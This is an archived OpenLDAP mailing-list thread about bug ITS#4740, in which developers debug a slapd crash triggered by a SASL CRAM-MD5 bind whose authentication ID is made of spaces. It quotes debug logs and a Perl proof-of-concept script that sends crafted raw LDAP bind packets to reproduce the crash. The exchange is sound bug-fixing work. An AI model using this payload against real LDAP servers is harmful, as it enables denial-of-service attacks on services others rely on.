[Date Prev][Date Next] [Chronological] [Thread] [Top]

Re: (ITS#4740) SASL bind assert



At 07:51 PM 11/27/2006, Kurt D. Zeilenga wrote:
>Spoke too soon.
>You code appears to be sending the same requests as
>Nessus, at least as described here:
>  http://www.nessus.org/plugins/index.php?view=viewsrc&id=23625
>
>Suspect a mismatch between what you and Brian are
>testing...

Howard, is the normalized authcDN in your testing correct?


>Kurt
>
>At 07:30 PM 11/27/2006, Kurt@OpenLDAP.org wrote:
>> From the provided log, looks like it's a SASL/CRAM-MD5
>>authentication with lots of spaces in the authcid.
>>
>>Logs:
>>>>>> dnPrettyNormal: <>
>>><<< dnPrettyNormal: <>, <>
>>>do_sasl_bind: dn () mech CRAM-MD5
>>
>>empty bind DN
>>
>>>==> sasl_bind: dn="" mech=<continuing> datalen=1024
>>>SASL Canonicalize [conn=21]:
>>>authcid="
>>>"
>>
>>authcid of spaces.
>>
>>>slap_sasl_getdn: conn 21
>>>id=
>>>[len=255]
>>
>>255 spaces.
>>
>>>=> ldap_dn2bv(16)
>>><=
>>>ldap_dn2bv(uid=\20
>>>\20,cn=CRAM-MD5,cn=auth)=0
>>>slap_sasl_getdn: u:id converted to
>>>uid=\20
>>>\20,cn=CRAM-MD5,cn=auth
>>
>>OKAY.
>>
>>>>>> dnNormalize:
>>><uid=\20
>>>\20,cn=CRAM-MD5,cn=auth>
>>>=>
>>>ldap_bv2dn(uid=\20
>>>\20,cn=CRAM-MD5,cn=auth,0)
>>><=
>>>ldap_bv2dn(uid=\20
>>>\20,cn=CRAM-MD5,cn=auth)=0
>>>=> ldap_dn2bv(272)
>>><= ldap_dn2bv(uid=\20,cn=cram-md5,cn=auth)=0
>>
>>BAD!  We lost 254 spaces (last of which was escaped).
>>
>>><<< dnNormalize: <uid=\20,cn=cram-md5,cn=auth>
>>>==>slap_sasl2dn: converting SASL name uid=\20,cn=cram-md5,cn=auth to a DN
>>>slap_authz_regexp: converting SASL name uid=\20,cn=cram-md5,cn=auth
>>><==slap_sasl2dn: Converted SASL name to <nothing>
>>>SASL Canonicalize [conn=21]: slapAuthcDN="uid=\20,cn=cram-md5,cn=auth"
>>>
>>
>>At 07:13 PM 11/27/2006, hyc@symas.com wrote:
>>>bthomas@google.com wrote:
>>>> ------=_Part_8120_20176863.1164676496288
>>>> Content-Type: text/plain; charset=ISO-8859-1; format=flowed
>>>> Content-Transfer-Encoding: 7bit
>>>> Content-Disposition: inline
>>>> 
>>>> Hello,
>>>> 
>>>> It would appear from my testing that this bug is not fixed. I have compiled
>>>> and installed 2.3.30 and verified that my version of getdn.c (1.124.2.5) has
>>>> the fixes that were introduced in 1.134. However, a nessus scan that
>>>> attempts to exploit this bug still succeeds in crashing slapd, with debug
>>>> output attached below (I've snipped the actual data passsed in, suffice to
>>>> say it's 255 0x20's).
>>>> 
>>>> I'm happy to provide any other information as needed. I've taken a look at
>>>> the diffs but haven't been able to find what the problem is.
>>>
>>>This is the perl script I used to verify the bug here. slapd works fine 
>>>for me with this. If you can tell us how to reproduce the crash, we can 
>>>investigate further.
>>>
>>>use IO::Socket;
>>>
>>>         my $host = "localhost";
>>>         my $port = 9011;
>>>
>>>         my $sock = IO::Socket::INET->new(
>>>                         Proto   => "tcp",
>>>                         PeerAddr => $host,
>>>                         PeerPort => $port, )
>>>                         or die "Error creating socket";
>>>
>>>         print "Sending LDAP BIND request...\n";
>>>
>>>         my 
>>>$s="\x30\x17\x02\x02\x04\xe7\x60\x11\x02\x01\x03\x04\x00\xa3\x0a\x04";
>>>         $s .= "\x08\x43\x52\x41\x4d\x2d\x4d\x44\x35";
>>>                 print $sock $s;
>>>
>>>         my $buf = '                                        ';
>>>         read( $sock, $buf, 24 );
>>>
>>>         $s  = 
>>>"\x30\x82\x04\x1f\x02\x02\x04\xe6\x60\x82\x04\x17\x02\x01\x03\x04";
>>>         $s .= 
>>>"\x00\xa3\x82\x04\x0e\x04\x08\x43\x52\x41\x4d\x2d\x4d\x44\x35\x04";
>>>         $s .= "\x82\x04\x00";
>>>         $s .= "\x20" x 1024;
>>>
>>>         print "Sending second LDAP BIND request...\n";
>>>
>>>         print $sock $s;
>>>         close $sock;
>>>
>>>         print "Done\n";
>>>
>>>-- 
>>>   -- Howard Chu
>>>   Chief Architect, Symas Corp.  http://www.symas.com
>>>   Director, Highland Sun        http://highlandsun.com/hyc
>>>   OpenLDAP Core Team            http://www.openldap.org/project/